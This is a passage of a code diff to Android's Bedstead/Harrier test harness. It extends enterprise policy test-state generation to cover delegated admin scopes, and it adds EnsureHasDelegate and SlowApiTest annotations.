+ DELEGATION_PERMISSION_GRANT,
+ DELEGATION_PACKAGE_ACCESS,
+ DELEGATION_ENABLE_SYSTEM_APP,
+ DELEGATION_INSTALL_EXISTING_PACKAGE,
+ DELEGATION_KEEP_UNINSTALLED_PACKAGES,
+ DELEGATION_NETWORK_LOGGING,
+ DELEGATION_CERT_SELECTION,
+ DELEGATION_SECURITY_LOGGING
+ );
+
+ // This is a map containing all Include* annotations and the flags which lead to them
+ // This is not validated - every state must have a single APPLIED_BY annotation
+ private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+ STATE_ANNOTATIONS =
+ ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnDeviceOwnerUser()))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnDeviceOwnerUser(), /* isPrimary= */ true))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND, singleAnnotation(includeRunOnBackgroundDeviceOwnerUser()))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnBackgroundDeviceOwnerUser(), /* isPrimary= */ true))
+
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser()))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnNonAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser()))
+ .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedDeviceOwnerSecondaryUser(), /* isPrimary= */ true))
+
+ .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+ .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnUnaffiliatedProfileOwnerSecondaryUser(), /* isPrimary= */ true))
+ .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+ .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerPrimaryUser(), /* isPrimary= */ true))
+
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner(), /* isPrimary= */ true))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT, singleAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnParentOfProfileOwnerWithNoDeviceOwner(), /* isPrimary= */ true))
+
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS, singleAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS | CAN_BE_DELEGATED, generateDelegateAnnotation(includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile(), /* isPrimary= */ true))
+ .build();
+ // This must contain one key for every APPLIED_BY that is being used, and maps to the
+ // "default" for testing that DPC type
+ // in general this will be a state which runs on the same user as the dpc.
+ private static final ImmutableMap<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+ DPC_STATE_ANNOTATIONS_BASE =
+ ImmutableMap.<Integer, Function<EnterprisePolicy, Set<Annotation>>>builder()
+ .put(APPLIED_BY_DEVICE_OWNER, (flags) -> hasFlag(flags.dpc(), APPLIED_BY_DEVICE_OWNER | APPLIES_IN_BACKGROUND) ? ImmutableSet.of(includeRunOnBackgroundDeviceOwnerUser()) : ImmutableSet.of(includeRunOnDeviceOwnerUser()))
+ .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER, singleAnnotation(includeRunOnAffiliatedProfileOwnerSecondaryUser()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+ .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO, singleAnnotation(includeRunOnProfileOwnerPrimaryUser()))
+ .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE, singleAnnotation(includeRunOnProfileOwnerProfileWithNoDeviceOwner()))
+ .build();
+ private static final Map<Integer, Function<EnterprisePolicy, Set<Annotation>>>
+ DPC_STATE_ANNOTATIONS = DPC_STATE_ANNOTATIONS_BASE.entrySet().stream()
+ .collect(Collectors.toMap(Map.Entry::getKey, Policy::addGeneratedStates));
+ private static final int APPLIED_BY_FLAGS =
+ APPLIED_BY_DEVICE_OWNER | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
+ | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE
+ | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER
+ | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
+ private static final Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>>
+ ANNOTATIONS_MAP = calculateAnnotationsMap(STATE_ANNOTATIONS);
+
private Policy() {
}
@@ -126,49 +213,42 @@
return new AutoAnnotation_Policy_includeRunOnBackgroundDeviceOwnerUser();
}
- // This is a map containing all Include* annotations and the flags which lead to them
- // This is not validated - every state must have a single APPLIED_BY annotation
- private static final ImmutableMap<Integer, Annotation> STATE_ANNOTATIONS = ImmutableMap.<Integer, Annotation>builder()
- .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER, includeRunOnDeviceOwnerUser())
- .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND, includeRunOnBackgroundDeviceOwnerUser())
+ @AutoAnnotation
+ private static EnsureHasDelegate ensureHasDelegate(EnsureHasDelegate.AdminType admin,
+ String[] scopes, boolean isPrimary) {
+ return new AutoAnnotation_Policy_ensureHasDelegate(admin, scopes, isPrimary);
+ }
- .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_UNAFFILIATED_OTHER_USERS, includeRunOnNonAffiliatedDeviceOwnerSecondaryUser())
- .put(APPLIED_BY_DEVICE_OWNER | APPLIES_TO_AFFILIATED_OTHER_USERS, includeRunOnAffiliatedDeviceOwnerSecondaryUser())
+ private static Function<EnterprisePolicy, Set<Annotation>> singleAnnotation(
+ Annotation annotation) {
+ return (i) -> ImmutableSet.of(annotation);
+ }
- .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, includeRunOnAffiliatedProfileOwnerSecondaryUser())
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER | APPLIES_TO_OWN_USER, includeRunOnUnaffiliatedProfileOwnerSecondaryUser())
- .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO | APPLIES_TO_OWN_USER, includeRunOnProfileOwnerPrimaryUser())
+ private static Function<EnterprisePolicy, Set<Annotation>> generateDelegateAnnotation(
+ Annotation annotation, boolean isPrimary) {
+ return (policy) -> {
+ Annotation[] existingAnnotations = annotation.annotationType().getAnnotations();
+ return Arrays.stream(policy.delegatedScopes())
+ .map(scope -> {
+ Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+ existingAnnotations.length + 1);
+ newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+ EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope},
+ isPrimary);
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER, includeRunOnProfileOwnerProfileWithNoDeviceOwner())
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_PARENT, includeRunOnParentOfProfileOwnerWithNoDeviceOwner())
+ return new DynamicParameterizedAnnotation(
+ annotation.annotationType().getSimpleName() + "Delegate:" + scope,
+ newAnnotations);
+ }).collect(Collectors.toSet());
+ };
+ }
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE | APPLIES_TO_UNAFFILIATED_OTHER_USERS, includeRunOnSecondaryUserInDifferentProfileGroupToProfileOwnerProfile())
- .build();
+ private static Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> calculateAnnotationsMap(
+ Map<Integer, Function<EnterprisePolicy, Set<Annotation>>> annotations) {
+ Map<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> b = new HashMap<>();
- // This must contain one key for every APPLIED_BY that is being used, and maps to the "default" for testing that DPC type
- // in general this will be a state which runs on the same user as the dpc.
- private static final ImmutableMap<Integer, Annotation> DPC_STATE_ANNOTATIONS = ImmutableMap.<Integer, Annotation>builder()
- .put(APPLIED_BY_DEVICE_OWNER, includeRunOnDeviceOwnerUser())
- .put(APPLIED_BY_AFFILIATED_PROFILE_OWNER, includeRunOnAffiliatedProfileOwnerSecondaryUser())
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER, includeRunOnProfileOwnerPrimaryUser())
- .put(APPLIED_BY_PROFILE_OWNER_USER_WITH_NO_DO, includeRunOnProfileOwnerPrimaryUser())
- .put(APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE, includeRunOnProfileOwnerProfileWithNoDeviceOwner())
- .build();
-
- private static final int APPLIED_BY_FLAGS =
- APPLIED_BY_DEVICE_OWNER | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
- | APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE
- | APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_USER
- | APPLIED_BY_AFFILIATED_PROFILE_OWNER_USER;
-
-
- private static final Map<Annotation, Set<Integer>> ANNOTATIONS_MAP = calculateAnnotationsMap(STATE_ANNOTATIONS);
-
- private static Map<Annotation, Set<Integer>> calculateAnnotationsMap(
- Map<Integer, Annotation> annotations) {
- Map<Annotation, Set<Integer>> b = new HashMap<>();
-
- for (Map.Entry<Integer, Annotation> i : annotations.entrySet()) {
+ for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> i :
+ annotations.entrySet()) {
if (!b.containsKey(i.getValue())) {
b.put(i.getValue(), new HashSet<>());
}
@@ -179,20 +259,39 @@
return b;
}
+ private static Function<EnterprisePolicy, Set<Annotation>> addGeneratedStates(
+ ImmutableMap.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> entry) {
+ return (policy) -> {
+ if (hasFlag(policy.dpc(), entry.getKey() | CAN_BE_DELEGATED)) {
+ Set<Annotation> results = new HashSet<>(entry.getValue().apply(policy));
+ results.addAll(results.stream().flatMap(
+ t -> generateDelegateAnnotation(t, /* isPrimary= */ true).apply(
+ policy).stream())
+ .collect(Collectors.toSet()));
+
+ return results;
+ }
+
+ return entry.getValue().apply(policy);
+ };
+ }
+
/**
- * Get positive state annotations for the given policy.
+ * Get parameterized test runs for the given policy.
*
* <p>These are states which should be run where the policy is able to be applied.
*/
- public static List<Annotation> positiveStates(String policyName, EnterprisePolicy enterprisePolicy) {
+ public static List<Annotation> positiveStates(String policyName,
+ EnterprisePolicy enterprisePolicy) {
Set<Annotation> annotations = new HashSet<>();
validateFlags(policyName, enterprisePolicy.dpc());
- for (Map.Entry<Annotation, Set<Integer>> annotation : ANNOTATIONS_MAP.entrySet()) {
+ for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+ ANNOTATIONS_MAP.entrySet()) {
if (isPositive(enterprisePolicy.dpc(), annotation.getValue())) {
- annotations.add(annotation.getKey());
+ annotations.addAll(annotation.getKey().apply(enterprisePolicy));
}
}
@@ -215,13 +314,15 @@
private static boolean isNegative(int[] policyFlags, Set<Integer> annotationFlags) {
for (int annotationFlag : annotationFlags) {
- if (hasFlag(annotationFlag, DO_NOT_APPLY_TO_NEGATIVE_TESTS, /* nonMatchingFlag= */ NO)) {
+ if (hasFlag(annotationFlag, DO_NOT_APPLY_TO_NEGATIVE_TESTS, /* nonMatchingFlag= */
+ NO)) {
return false; // We don't support using this annotation for negative tests
}
int appliedByFlag = APPLIED_BY_FLAGS & annotationFlag;
int otherFlags = annotationFlag ^ appliedByFlag; // remove the appliedByFlag
- if (hasFlag(policyFlags, /* matchingFlag= */ appliedByFlag, /* nonMatchingFlag= */ otherFlags)) {
+ if (hasFlag(policyFlags, /* matchingFlag= */ appliedByFlag, /* nonMatchingFlag= */
+ otherFlags)) {
return true;
}
}
@@ -230,18 +331,20 @@
}
/**
- * Get negative state annotations for the given policy.
+ * Get negative parameterized test runs for the given policy.
*
* <p>These are states which should be run where the policy is not able to be applied.
*/
- public static List<Annotation> negativeStates(String policyName, EnterprisePolicy enterprisePolicy) {
+ public static List<Annotation> negativeStates(String policyName,
+ EnterprisePolicy enterprisePolicy) {
Set<Annotation> annotations = new HashSet<>();
validateFlags(policyName, enterprisePolicy.dpc());
- for (Map.Entry<Annotation, Set<Integer>> annotation : ANNOTATIONS_MAP.entrySet()) {
+ for (Map.Entry<Function<EnterprisePolicy, Set<Annotation>>, Set<Integer>> annotation :
+ ANNOTATIONS_MAP.entrySet()) {
if (isNegative(enterprisePolicy.dpc(), annotation.getValue())) {
- annotations.add(annotation.getKey());
+ annotations.addAll(annotation.getKey().apply(enterprisePolicy));
}
}
@@ -254,23 +357,60 @@
}
/**
- * Get state annotations where the policy cannot be set for the given policy.
+ * Get parameterized test runs where the policy cannot be set for the given policy.
*/
- public static List<Annotation> cannotSetPolicyStates(String policyName, EnterprisePolicy enterprisePolicy) {
+ public static List<Annotation> cannotSetPolicyStates(String policyName,
+ EnterprisePolicy enterprisePolicy, boolean includeDeviceAdminStates,
+ boolean includeNonDeviceAdminStates) {
Set<Annotation> annotations = new HashSet<>();
validateFlags(policyName, enterprisePolicy.dpc());
- // TODO(scottjonathan): Always include a state without a dpc
+ if (includeDeviceAdminStates) {
+ int allFlags = 0;
+ for (int p : enterprisePolicy.dpc()) {
+ allFlags = allFlags | p;
+ }
- int allFlags = 0;
- for (int p : enterprisePolicy.dpc()) {
- allFlags = allFlags | p;
+ for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+ DPC_STATE_ANNOTATIONS.entrySet()) {
+ if ((appliedByFlag.getKey() & allFlags) == 0) {
+ annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
+ }
+ }
}
- for (Map.Entry<Integer, Annotation> appliedByFlag : DPC_STATE_ANNOTATIONS.entrySet()) {
- if ((appliedByFlag.getKey() & allFlags) == 0) {
- annotations.add(appliedByFlag.getValue());
+ if (includeNonDeviceAdminStates) {
+ Set<String> validScopes = ImmutableSet.copyOf(enterprisePolicy.delegatedScopes());
+ String[] scopes = ALL_DELEGATE_SCOPES.stream()
+ .filter(i -> !validScopes.contains(i))
+ .toArray(String[]::new);
+ Annotation[] existingAnnotations = IncludeRunOnDeviceOwnerUser.class.getAnnotations();
+
+ if (BedsteadJUnit4.isDebug()) {
+ // Add a non-DPC with no delegate scopes
+ Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+ existingAnnotations.length + 1);
+ newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+ EnsureHasDelegate.AdminType.PRIMARY, new String[]{}, /* isPrimary= */ true);
+ annotations.add(
+ new DynamicParameterizedAnnotation("DelegateWithNoScopes", newAnnotations));
+
+ for (String scope : scopes) {
+ newAnnotations = Arrays.copyOf(existingAnnotations,
+ existingAnnotations.length + 1);
+ newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+ EnsureHasDelegate.AdminType.PRIMARY, new String[]{scope}, /* isPrimary= */ true);
+ annotations.add(
+ new DynamicParameterizedAnnotation("DelegateWithScope:" + scope, newAnnotations));
+ }
+ } else {
+ Annotation[] newAnnotations = Arrays.copyOf(existingAnnotations,
+ existingAnnotations.length + 1);
+ newAnnotations[newAnnotations.length - 1] = ensureHasDelegate(
+ EnsureHasDelegate.AdminType.PRIMARY, scopes, /* isPrimary= */ true);
+ annotations.add(
+ new DynamicParameterizedAnnotation("DelegateWithoutValidScope", newAnnotations));
}
}
@@ -296,9 +436,10 @@
allFlags = allFlags | p;
}
- for (Map.Entry<Integer, Annotation> appliedByFlag : DPC_STATE_ANNOTATIONS.entrySet()) {
+ for (Map.Entry<Integer, Function<EnterprisePolicy, Set<Annotation>>> appliedByFlag :
+ DPC_STATE_ANNOTATIONS.entrySet()) {
if ((appliedByFlag.getKey() & allFlags) == appliedByFlag.getKey()) {
- annotations.add(appliedByFlag.getValue());
+ annotations.addAll(appliedByFlag.getValue().apply(enterprisePolicy));
}
}
@@ -311,8 +452,14 @@
if (singleTestOnly) {
// We select one annotation in an arbitrary but deterministic way
- annotationList.sort(Comparator.comparing(a -> a.annotationType().getName()));
- Annotation firstAnnotation = annotationList.get(0);
+ annotationList.sort(Comparator.comparing(
+ a -> a instanceof DynamicParameterizedAnnotation
+ ? "DynamicParameterizedAnnotation" : a.annotationType().getName()));
+
+ // We don't want a delegate to be the representative test
+ Annotation firstAnnotation = annotationList.stream()
+ .filter(i -> !(i instanceof DynamicParameterizedAnnotation))
+ .findFirst().get();
annotationList.clear();
annotationList.add(firstAnnotation);
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
new file mode 100644
index 0000000..9521e88
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/SlowApiTest.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Annotation to indicate that a test can take a long time to run.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface SlowApiTest {
+ String reason();
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
index 9315103..d0f1985 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/CannotSetPolicyTest.java
@@ -45,6 +45,17 @@
Class<?> policy();
/**
+ * If true, then this will run in states where the app is a device admin but is not one which is
+ * allowed to make the call.
+ */
+ boolean includeDeviceAdminStates() default true;
+
+ /**
+ * If true, then this will run in states where the app is not a device admin.
+ */
+ boolean includeNonDeviceAdminStates() default true;
+
+ /**
* Weight sets the order that annotations will be resolved.
*
* <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
new file mode 100644
index 0000000..73c1da7
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDelegate.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations.enterprise;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
+
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test requires that the given admin delegates the given scope to a test app.
+ *
+ * <p>You should use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method. You can use {@link DeviceState#delegate()} to interact with
+ * the delegate.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasDelegate {
+
+ enum AdminType {
+ DEVICE_OWNER,
+ PROFILE_OWNER,
+ PRIMARY
+ }
+
+ /**
+ * The admin that should delegate this scope.
+ *
+ * <p>If this is set to {@link AdminType#PRIMARY} and {@link #isPrimary()} is true, then the
+ * delegate will replace the primary dpc as primary without error.
+ */
+ AdminType admin();
+
+ /** The scope being delegated. */
+ String[] scopes();
+
+ /**
+ * Whether this delegate should be returned by calls to {@link DeviceState#policyManager()}.
+ *
+ * <p>Only one policy manager per test should be marked as primary.
+ */
+ boolean isPrimary() default false;
+
+ /**
+ * Weight sets the order that annotations will be resolved.
+ *
+ * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+ *
+ * <p>If there is an order requirement between annotations, ensure that the weight of the
+ * annotation which must be resolved first is lower than the one which must be resolved later.
+ *
+ * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+ */
+ int weight() default DO_PO_WEIGHT + 1; // Should run after setting DO/PO
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
index 483a73e..2fdfc9d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
@@ -49,13 +49,17 @@
@Retention(RetentionPolicy.RUNTIME)
@RequireFeature(FEATURE_DEVICE_ADMIN)
public @interface EnsureHasDeviceOwner {
+
+ int DO_PO_WEIGHT = MIDDLE;
+
/** Behaviour if the device owner cannot be set. */
FailureMode failureMode() default FailureMode.FAIL;
/**
- * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+ * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+ * {@link DeviceState#policyManager()}}.
*
- * <p>Only one device policy controller per test should be marked as primary.
+ * <p>Only one policy manager per test should be marked as primary.
*/
boolean isPrimary() default false;
@@ -74,5 +78,5 @@
*
* <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
*/
- int weight() default MIDDLE;
+ int weight() default DO_PO_WEIGHT;
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
index 197a5fb..307b554 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDeviceOwner.java
@@ -16,7 +16,7 @@
package com.android.bedstead.harrier.annotations.enterprise;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -47,5 +47,5 @@
*
* <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
*/
- int weight() default MIDDLE;
+ int weight() default DO_PO_WEIGHT;
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
index 72881ba..c97fd7f 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoDpc.java
@@ -16,7 +16,7 @@
package com.android.bedstead.harrier.annotations.enterprise;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -53,5 +53,5 @@
*
* <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
*/
- int weight() default MIDDLE;
+ int weight() default DO_PO_WEIGHT;
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
index 2d24990..561da3c 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasNoProfileOwner.java
@@ -17,7 +17,7 @@
package com.android.bedstead.harrier.annotations.enterprise;
import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -49,5 +49,5 @@
*
* <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
*/
- int weight() default MIDDLE;
+ int weight() default DO_PO_WEIGHT;
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
index eb5c9e6..a408a4d 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
@@ -19,7 +19,7 @@
import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
-import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner.DO_PO_WEIGHT;
import com.android.bedstead.harrier.DeviceState;
import com.android.bedstead.harrier.annotations.AnnotationRunPrecedence;
@@ -45,9 +45,10 @@
